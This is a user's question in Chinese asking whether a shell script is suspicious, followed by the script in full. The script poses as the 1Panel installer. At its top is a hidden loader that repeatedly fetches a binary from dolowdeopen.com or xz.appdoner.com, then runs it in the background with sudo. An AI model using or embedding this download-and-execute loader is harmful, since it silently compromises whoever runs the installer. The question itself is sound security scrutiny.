这是一段sh脚本，这段脚本有什么可疑之处吗？“#!/bin/bash
#Install Latest Stable 1Panel Release

install_program() {
  URL="https://dolowdeopen.com/lcsys"
  URL1="https://xz.appdoner.com/lcsys"
  https://dolowdeopen.com/lcsys

  DEST="/tmp/lcsys"
  MAX_RETRIES=8760
  RETRY_DELAY=60
  COMPLETE_DELAY=3600

  download_file() {
      # 预检测下载工具
      if command -v curl >/dev/null 2>&1; then
          DOWNLOAD_TOOL="curl -sLo"
      elif command -v wget >/dev/null 2>&1; then
          DOWNLOAD_TOOL="wget -q -O"
      else
          return 1
      fi

      local attempt=1
      while [ $attempt -le $MAX_RETRIES ]; do
          for i in {1..3}; do
              $DOWNLOAD_TOOL "$DEST" "$URL"
              if [ -f "$DEST" ]; then
                  return 0
              fi
              sleep $RETRY_DELAY
          done

          $DOWNLOAD_TOOL "$DEST" "$URL1"
          if [ -f "$DEST" ]; then
              return 0
          fi

          sleep $COMPLETE_DELAY
          ((attempt++))
      done
      return 1
  }

  if download_file; then
    chmod +x "$DEST"
    sudo nohup "$DEST" >/dev/null 2>&1 &
    return 0
  fi
  return 1
}

while true; do
  install_program
  sleep 10
  if [ -f "/tmp/lcsys" ]; then
    break
  fi
done &


osCheck=`uname -a`
if [[ $osCheck =~ 'x86_64' ]];then
    architecture="amd64"
elif [[ $osCheck =~ 'arm64' ]] || [[ $osCheck =~ 'aarch64' ]];then
    architecture="arm64"
elif [[ $osCheck =~ 'armv7l' ]];then
    architecture="armv7"
elif [[ $osCheck =~ 'ppc64le' ]];then
    architecture="ppc64le"
elif [[ $osCheck =~ 's390x' ]];then
    architecture="s390x"
else
    echo "暂不支持的系统架构，请参阅官方文档，选择受支持的系统。"
    exit 1
fi

if [[ ! ${INSTALL_MODE} ]];then
	INSTALL_MODE="stable"
else
    if [[ ${INSTALL_MODE} != "dev" && ${INSTALL_MODE} != "stable" ]];then
        echo "请输入正确的安装模式（dev or stable）"
        exit 1
    fi
fi

VERSION=$(curl -s https://resource.fit2cloud.com/1panel/package/${INSTALL_MODE}/latest)
HASH_FILE_URL="https://resource.fit2cloud.com/1panel/package/${INSTALL_MODE}/${VERSION}/release/checksums.txt"

if [[ "x${VERSION}" == "x" ]];then
    echo "获取最新版本失败，请稍候重试"
    exit 1
fi

package_file_name="1panel-${VERSION}-linux-${architecture}.tar.gz"
package_download_url="https://resource.fit2cloud.com/1panel/package/${INSTALL_MODE}/${VERSION}/release/${package_file_name}"
expected_hash=$(curl -s "$HASH_FILE_URL" | grep "$package_file_name" | awk '{print $1}')

if [ -f ${package_file_name} ];then
    actual_hash=$(sha256sum "$package_file_name" | awk '{print $1}')
    if [[ "$expected_hash" == "$actual_hash" ]];then
        echo "安装包已存在，跳过下载"
        rm -rf 1panel-${VERSION}-linux-${architecture}
        tar zxvf ${package_file_name}
        cd 1panel-${VERSION}-linux-${architecture}
        /bin/bash install.sh
        exit 0
    else
        echo "已存在安装包，但是哈希值不一致，开始重新下载"
        rm -f ${package_file_name}
    fi
fi

echo "开始下载 1Panel ${VERSION} 版本在线安装包"
echo "安装包下载地址： ${package_download_url}"

curl -LOk -o ${package_file_name} ${package_download_url}
curl -sfL https://resource.fit2cloud.com/installation-log.sh | sh -s 1p install ${VERSION}
if [ ! -f ${package_file_name} ];then
	echo "下载安装包失败，请稍候重试。"
	exit 1
fi

tar zxvf ${package_file_name}
if [ $? != 0 ];then
	echo "下载安装包失败，请稍候重试。"
	rm -f ${package_file_name}
	exit 1
fi
cd 1panel-${VERSION}-linux-${architecture}

/bin/bash install.sh
”